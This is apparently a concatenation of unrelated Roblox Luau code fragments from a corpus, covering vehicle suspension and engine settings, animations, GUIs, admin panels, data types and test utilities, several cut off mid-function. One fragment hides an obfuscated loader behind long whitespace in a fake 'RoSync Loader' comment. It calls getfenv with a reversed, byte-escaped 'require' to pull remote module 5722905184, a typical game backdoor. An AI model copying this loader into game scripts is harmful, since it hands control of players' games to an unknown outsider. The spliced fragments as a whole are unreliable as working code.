Roblox/luau_corpus huggingface dataset:
--		print("Keyframe : ".. frameName)
		local repeatAnim = stopToolAnimations()
		playToolAnimation(repeatAnim, 0.0, Humanoid)
	end
end


function playToolAnimation(animName, transitionTime, humanoid)
	if (animName ~= toolAnimName) then

		if (toolAnimTrack ~= nil) then
			toolAnimTrack:Stop()
			toolAnimTrack:Destroy()
			transitionTime = 0
		end

		local roll = math.random(1, animTable[animName].totalWeight)
		local origRoll = roll
		local idx = 1
		while (roll > animTable[animName][idx].weight) do
			roll = roll - animTable[animName][idx].weight
			idx = idx + 1
		end
--script.AB.Value = true
	carSeat.Parent.Weight.FrontDF.Force = Vector3.new(0, 0, 0)
	carSeat.Parent.Weight.RearDF.Force = Vector3.new(0, 0, 0)
	else --script.AB.Value = false
carSeat.Parent.Weight.FrontDF.Force = Vector3.new(0, (-1.2*DFF)*speed, (0.3*DFF)*speed)
carSeat.Parent.Weight.FrontDF.Location = Vector3.new(0,-2,-2)

carSeat.Parent.Weight.RearDF.Force = Vector3.new(0, ((-2.2*DFR)-0.2)*speed, (0.6*DFR)*speed)
carSeat.Parent.Weight.RearDF.Location = Vector3.new(0,1,4)
end
--[[ Last synced 11/11/2020 02:26                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-- Add script when player is added
game.Players.PlayerAdded:connect(addScriptAtRespawn)
--// All global vars will be wiped/replaced except script

return function(data)
	local playergui = service.PlayerGui
	local localplayer = service.Players.LocalPlayer
	local gui = service.New("ScreenGui")
	local toggle = service.New("ImageButton", gui)
	local gTable = client.UI.Register(gui)

	if client.UI.Get("HelpButton", gui, true) then
		gui:Destroy()
		gTable:Destroy()
		return nil
	end

	gTable.Name = "HelpButton"
	gTable.CanKeepAlive = false

	toggle.Name = "Toggle"
	toggle.BackgroundTransparency = 1
	toggle.Position = UDim2.new(1, -45, 1, -45)
	toggle.Size = UDim2.new(0, 40, 0, 40)
	toggle.Image = client.HelpButtonImage
	toggle.ImageTransparency = 0.5

	--if client.UI.Get("Chat") then
	--	toggle.Position = UDim2.new(1, -(45+40),1, -45)
	--end

	toggle.MouseButton1Down:Connect(function()
		local found = client.UI.Get("UserPanel",nil,true)
		if found then
			found.Object:Destroy()
		else
			client.UI.Make("UserPanel",{})
		end
	end)

	gTable:Ready()
end
-- Mutable source version can be anything (e.g. number, string, immutable data structure)
-- so long as it changes every time any part of the source changes.
export type MutableSourceVersion = NonMaybeType<any>

export type MutableSourceGetSnapshotFn<Source, Snapshot> = (source: Source) -> Snapshot

export type MutableSourceSubscribeFn<Source, Snapshot> = (
	source: Source,
	callback: (snapshot: Snapshot) -> ()
) -> (() -> ())

export type MutableSourceGetVersionFn = (
	_source: NonMaybeType<any>
) -> MutableSourceVersion

export type MutableSource<Source> = {
	_source: Source,

	_getVersion: MutableSourceGetVersionFn,

	-- Tracks the version of this source at the time it was most recently read.
	-- Used to determine if a source is safe to read from before it has been subscribed to.
	-- Version number is only used during mount,
	-- since the mechanism for determining safety after subscription is expiration time.
	--
	-- As a workaround to support multiple concurrent renderers,
	-- we categorize some renderers as primary and others as secondary.
	-- We only expect there to be two concurrent renderers at most:
	-- React Native (primary) and Fabric (secondary);
	-- React DOM (primary) and React ART (secondary).
	-- Secondary renderers store their context values on separate fields.
	-- We use the same approach for Context.
	_workInProgressVersionPrimary: nil | MutableSourceVersion,
	_workInProgressVersionSecondary: nil | MutableSourceVersion,

	-- DEV only
	-- Used to detect multiple renderers using the same mutable source.
	_currentPrimaryRenderer: Object | nil,
	_currentSecondaryRenderer: Object | nil,
}
--[[Susupension]]
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
	
	--Front Suspension
	Tune.FSusDamping	= 500		-- Spring Dampening
	Tune.FSusStiffness	= 9000		-- Spring Force
	Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)
	
	Tune.FSusLength		= 2			-- Suspension length (in studs)
	Tune.FPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward
	
	--Rear Suspension
	Tune.RSusDamping	= 500		-- Spring Dampening
	Tune.RSusStiffness	= 9000		-- Spring Force
	Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)

	Tune.RSusLength		= 2			-- Suspension length (in studs)
	Tune.RPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics	
	Tune.SusVisible		= false			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Black"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness
--Create the equipped title's billboard gui for a player
function functions.CreateBillboardGui(plr: Player)

	local plrStats = plr.leaderstats
	local plrEquippedTitle = plrStats.EquippedTitle

	local char = plr.Character

	if char and titles:FindFirstChild(plrEquippedTitle.Value) then

		if char.HumanoidRootPart:FindFirstChild("TITLE BILLBOARD GUI") then
			char.HumanoidRootPart["TITLE BILLBOARD GUI"]:Destroy()
		end

		local billboardGui = titles[plrEquippedTitle.Value].BillboardGui:Clone()
		billboardGui.Name = "TITLE BILLBOARD GUI"
		billboardGui.Parent = char.HumanoidRootPart
	end
end



return functions
-- Require all children and return their references
local Themes = {}
for _, module in pairs(script:GetChildren()) do
    if module:IsA("ModuleScript") then
        Themes[module.Name] = require(module)
    end
end
return Themes
--// Bullet Physics
	BulletPhysics = Vector3.new(0,69,0);
	BulletSpeed = 1148;
--Moves to specific point 'finish' if a path is possible to follow
function MoveTo(finish,TD)
	local path=pathfinding:ComputeRawPathAsync(torso.Position,finish,maxWalkDistance);
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 0.5 -- cooldown for use of the tool again

ZoneModelName = "Bullet 2" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--// Positioning
	RightArmPos = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08);
	LeftArmPos = CFrame.new(0.805950999, 0.654529691, -1.92835343, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098);
	GunPos = CFrame.new(0.284460306, -0.318524063, 1.06423128, 1, 0, 0, 0, -2.98023224e-08, -0.99999994, 0, 0.99999994, -2.98023224e-08);
-- hack to use roblox-ts's copy of roblox-lua-promise

local TS = _G[script.Parent.Parent]
local Promise = TS.Promise
-- Text size default properties
defaults.TextScaled = false
defaults.TextScaleRelativeTo = "Frame" -- "Frame" or "Screen" If Frame, will scale relative to vertical size of the parent frame. If Screen, will scale relative to vertical size of the ScreenGui.
defaults.TextScale = 0.25 -- If you want the frame to have a nominal count of n lines of text, make this value 1 / n. For four lines, 1 / 4 = 0.25.
defaults.TextSize = 24 -- Only applicable if TextScaled = false
--Code You want goes here

script.Parent.Core.Fire.Enabled = true
wait(script.Parent.Configuration.EscapeTime.Value)
local Explosion = Instance.new("Explosion",game.Workspace)
Explosion.BlastRadius = 100
Explosion.Position = script.Parent.Core
end

while true do
if script.Parent.Temperature.Value > script.Parent.Configuration.HowMuchUntilMeltdown.Value then
meltdownsequence()
wait(math.huge)
else
script.Parent.Temperature.Value = script.Parent.Temperature.Value + script.Parent.Configuration.HowMuchTempIsIncreeased.Value
wait(script.Parent.Configuration.HowFastInSecondsDoesTemperatureIncreease.Value)
end
end
-- test whether value is a constant
function luaP:ISK(x) return x >= self.BITRK end
--Weld stuff here
MakeWeld(car.Misc.RealisticArms.Wheel,car.DriveSeat,"Motor",.5).Name="W"
ModelWeld(car.Misc.RealisticArms.Boxes,car.DriveSeat)

car.DriveSeat.ChildAdded:connect(function(child)
	if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
		child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
	end
end)
--[[Engine]]
	--Torque Curve
	Tune.Horsepower		= 175		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 5200		--		Use sliders to manipulate values
	Tune.Redline		= 5600		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16
	
	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
	
	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 1		-- Clutch engagement threshold (higher = faster response)
--------SETTINGS--------
local ITEM_NAME = "Railgun"
local ITEM_PRICE = 10
local CURRENCY_NAME = "Cash"
-- ROBLOX deviation: excluded type annotation for AsymmetricMatcher because Luau does
-- not yet support type annotations for a generic function

function isAsymmetricMatcher(data: any)
	local type_ = getType(data)
	return type_ == "table" and typeof(data.asymmetricMatch) == "function"
end

local function diff(
	a: any,
	b: any,
	options -- ROBLOX deviation: omitted type annotation since we don't have DiffOptions translated
): string | nil
	return shouldPrintDiff(a, b) and diffDefault(a, b, options) or nil
end

function pluralize(word: string, count: number): string
	if count == 1 then
		return (NUMBERS[count + 1] or count) .. " " .. word
	else
		return (NUMBERS[count + 1] or count) .. " " .. word .. "s"
	end
end
-- Connections
NewPlayer.OnClientEvent:Connect(startTutorial)
NextButton.Activated:Connect(nextPanel)
-- Private Methods

function init(self)
	local element = self.Element
	local maid = self._Maid
	local dragBind = self._DragBind
	local lastMousePosition = Vector3.new()
	local dragInput
	
	maid:Mark(self._DragBind)
	maid:Mark(self._StartBind)
	maid:Mark(self._StopBind)
	
	maid:Mark(element.InputBegan:Connect(function(input)
		if (VALID_PRESS[input.UserInputType]) then
			lastMousePosition = input.Position
			self.IsDragging = true
			self._StartBind:Fire()
			
			local inputEndConn; inputEndConn = input.Changed:Connect(function()
				if input.UserInputState == Enum.UserInputState.End or input.UserInputState == Enum.UserInputState.Cancel then
					if inputEndConn then
						inputEndConn:Disconnect()
						inputEndConn = nil
						
						self.IsDragging = false
						self._StopBind:Fire()
					end
				end
			end)
		end
	end))
	
	maid:Mark(element.InputChanged:Connect(function(input)
		if (VALID_MOVEMENT[input.UserInputType]) then
			dragInput = input
		end
	end))
	
	maid:Mark(UIS.InputChanged:Connect(function(input, process)
		if input == dragInput and self.IsDragging then
			local delta = input.Position - lastMousePosition
			dragBind:Fire(element, input, delta)
		end
	end))
	
	--maid:Mark(element.InputBegan:Connect(function(input)
	--	if (VALID_PRESS[input.UserInputType]) then
	--		lastMousePosition = input.Position
	--		self.IsDragging = true
	--		self._StartBind:Fire()
	--	end
	--end))
	
	--maid:Mark(UIS.InputEnded:Connect(function(input)
	--	if (VALID_PRESS[input.UserInputType]) then
	--		self.IsDragging = false
	--		self._StopBind:Fire()
	--	end
	--end))
	
	--maid:Mark(UIS.InputChanged:Connect(function(input, process)
	--	if (self.IsDragging) then
	--		if (VALID_MOVEMENT[input.UserInputType]) then
	--			local delta = input.Position - lastMousePosition
	--			lastMousePosition = input.Position
	--			dragBind:Fire(element, input, delta)
	--		end
	--	end
	--end))
end
-- Instruction: Put in a (Vehicle)Seat.
wait(0.1)

local seat = script.Parent

function GetPlayerFromWeld( weld )
	if weld.Part1.Name == "HumanoidRootPart" then
		local character = weld.Part1.Parent:findFirstChild("Humanoid")
		if (character) then
			local player = game.Players:GetPlayerFromCharacter(character.Parent)
			if (player) then
				return player
			end
		end
	end
	return nil
end

seat.ChildAdded:connect(function( newChild )	
	if newChild:IsA("Weld") then
		newChild.C0 = CFrame.new(0,-1,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2.4),0,0)
		local player = GetPlayerFromWeld(newChild)
		if (player) then
			local newGUI = script.SpeedGUI:Clone()
			wait(0.1)
			newGUI.Seat.Value = seat
			newGUI.Parent = player.PlayerGui
		end
	end
end)

seat.ChildRemoved:connect(function( oldChild )
	if oldChild:IsA("Weld") then
		local player = GetPlayerFromWeld( oldChild )
		if player then
			if player.PlayerGui:findFirstChild("SpeedGUI") then
				player.PlayerGui.SpeedGUI:Destroy()
			end
		end
	end
end)
-- step a damped angular spring axis
local function stepSpringAxis(dt, f, g, p, v)
	local offset = sanitizeAngle(p - g)
	local decay = math.exp(-f*dt)

	local p1 = sanitizeAngle((offset*(1 + f*dt) + v*dt)*decay + g)
	local v1 = (v*(1 - f*dt) - offset*(f*f*dt))*decay

	return p1, v1
end
--!strict

local MarketplaceService = game.MarketplaceService
local BadgeService = game.BadgeService
local DataStoreService = game.DataStoreService
local Players = game.Players

type receiptInfo = {
	PurchaseId: number,
	PlayerId: number,
	ProductId: number,
	PlaceIdWherePurchased: number,
	CurrencySpent: number,
	CurrencyType: Enum.CurrencyType
}

type productFunction = (receiptInfo, Player) -> (boolean)
type badgeFunction = (userid: number) -> (boolean)

local purchaseHistoryStore = DataStoreService:GetDataStore("PurchaseHistory")

local Functions = {
	products = {} :: {[number]: productFunction},
	badges = {} :: {[number]: badgeFunction},
}
--[=[
	@class RemoteProperty
	@server
	Created via `ServerComm:CreateProperty()`.

	Values set can be anything that can pass through a
	[RemoteEvent](https://developer.roblox.com/en-us/articles/Remote-Functions-and-Events#parameter-limitations).

	Here is a cheat-sheet for the below methods:
	- Setting data
		- `Set`: Set "top" value for all current and future players. Overrides any custom-set data per player.
		- `SetTop`: Set the "top" value for all players, but does _not_ override any custom-set data per player.
		- `SetFor`: Set custom data for the given player. Overrides the "top" value. (_Can be nil_)
		- `SetForList`: Same as `SetFor`, but accepts a list of players.
		- `SetFilter`: Accepts a predicate function which checks for which players to set.
	- Clearing data
		- `ClearFor`: Clears the custom data set for a given player. Player will start using the "top" level value instead.
		- `ClearForList`: Same as `ClearFor`, but accepts a list of players.
		- `ClearFilter`: Accepts a predicate function which checks for which players to clear.
	- Getting data
		- `Get`: Retrieves the "top" value
		- `GetFor`: Gets the current value for the given player. If cleared, returns the top value.

	:::caution Network
	Calling any of the data setter methods (e.g. `Set()`) will
	fire the underlying RemoteEvent to replicate data to the
	clients. Therefore, setting data should only occur when it
	is necessary to change the data that the clients receive.
	:::

	:::caution Tables
	Tables _can_ be used with RemoteProperties. However, the
	RemoteProperty object will _not_ watch for changes within
	the table. Therefore, anytime changes are made to the table,
	the data must be set again using one of the setter methods.
	:::
]=]
local RemoteProperty = {}
RemoteProperty.__index = RemoteProperty

function RemoteProperty.new(
	parent: Instance,
	name: string,
	initialValue: any,
	inboundMiddleware: Types.ServerMiddleware?,
	outboundMiddleware: Types.ServerMiddleware?
)
	local self = setmetatable({}, RemoteProperty)
	self._rs = RemoteSignal.new(parent, name, inboundMiddleware, outboundMiddleware)
	self._value = initialValue
	self._perPlayer = {}
	self._playerRemoving = Players.PlayerRemoving:Connect(function(player)
		self._perPlayer[player] = nil
	end)
	self._rs:Connect(function(player)
		local playerValue = self._perPlayer[player]
		local value = if playerValue == nil then self._value elseif playerValue == None then nil else playerValue
		self._rs:Fire(player, value)
	end)
	return self
end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 10 -- cooldown for use of the tool again

ZoneModelName = "Spin bone" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- Hook up CreateIndicator bindable function

bfCreateIndicator.OnInvoke = function (position, time)
	assert(position, "requires arg #1 position")
	assert(time, "requires arg #2 time")
	return Indicator:new{time = time; position = position;}
end
-- ROBLOX MOVED: expect/jasmineUtils.lua
-- Equality function lovingly adapted from isEqual in
--   [Underscore](http://underscorejs.org)
local function eq(
	a: any,
	b: any,
	aStack: Array<any>,
	bStack: Array<any>,
	customTesters: Array<Tester>,
	_hasKey: any
): boolean
	local result = true

	local asymmetricResult = asymmetricMatch(a, b)
	if asymmetricResult ~= nil then
		return asymmetricResult
	end

	for _, value in ipairs(customTesters) do
		local customTesterResult = value(a, b)
		if customTesterResult ~= nil then
			return customTesterResult
		end
	end

	-- ROBLOX deviation: code omitted because there are no error objects in Lua

	if Object.is(a, b) then
		return true
	end

	-- ROBLOX deviation: code omitted that does strict comparison because we don't
	-- have similar concerns in Lua where there are no distinct 'null' and
	-- 'undefined' types

	-- ROBLOX deviation: as part of the upstream className check, a type difference of
	-- array/non-array would be detected so we add this in manually
	local className = getType(a)
	if className ~= getType(b) then
		return false
	elseif Array.isArray(a) ~= Array.isArray(b) then
		return false
	end

	-- ROBLOX deviation: code omitted for elseif case with regular expressions since
	-- Lua doesn't have a built in regular expression type

	if className == "boolean" or className == "string" or className == "number" or className == "userdata" then
		return Object.is(a, b)
	elseif className == "DateTime" then
		return a == b
	elseif className == "regexp" then
		return tostring(a) == tostring(b)
	end

	if typeof(a) ~= "table" or typeof(b) ~= "table" then
		return false
	end

	-- DOM code omitted for now but translated here
	--[[
		if isDomNode(a) and isDomNode(b) then
		return a.isEqualNode(b)
		end
	--]]

	-- Used to detect circular references.
	local length = #aStack
	while length > 0 do
		-- Linear search. Performance is inversely proportional to the number of
		-- unique nested structures.
		-- circular references at same depth are equal
		-- circular reference is not equal to non-circular one
		if aStack[length] == a then
			return bStack[length] == b
		elseif bStack[length] == b then
			return false
		end

		length -= 1
	end

	-- Add the first object to the stack of traversed objects.
	table.insert(aStack, a)
	table.insert(bStack, b)

	-- Recursively compare objects and arrays.
	-- Compare array lengths to determine if a deep comparison is necessary.
	if Array.isArray(a) and #a ~= #b then
		return false
	end

	-- Deep compare objects
	local aKeys = keys(a, _hasKey)
	local size = #aKeys

	-- Ensure that both objects contain the same number of properties before comparing deep equality.
	if #keys(b, _hasKey) ~= size then
		return false
	end

	while size > 0 do
		local key = aKeys[size]

		-- Deep compare each member
		result = hasKey(b, key) and eq(a[key], b[key], aStack, bStack, customTesters, _hasKey)

		if not result then
			return false
		end

		size -= 1
	end

	-- Remove the first object from the stack of traversed objects.
	table.remove(aStack)
	table.remove(bStack)

	return result
end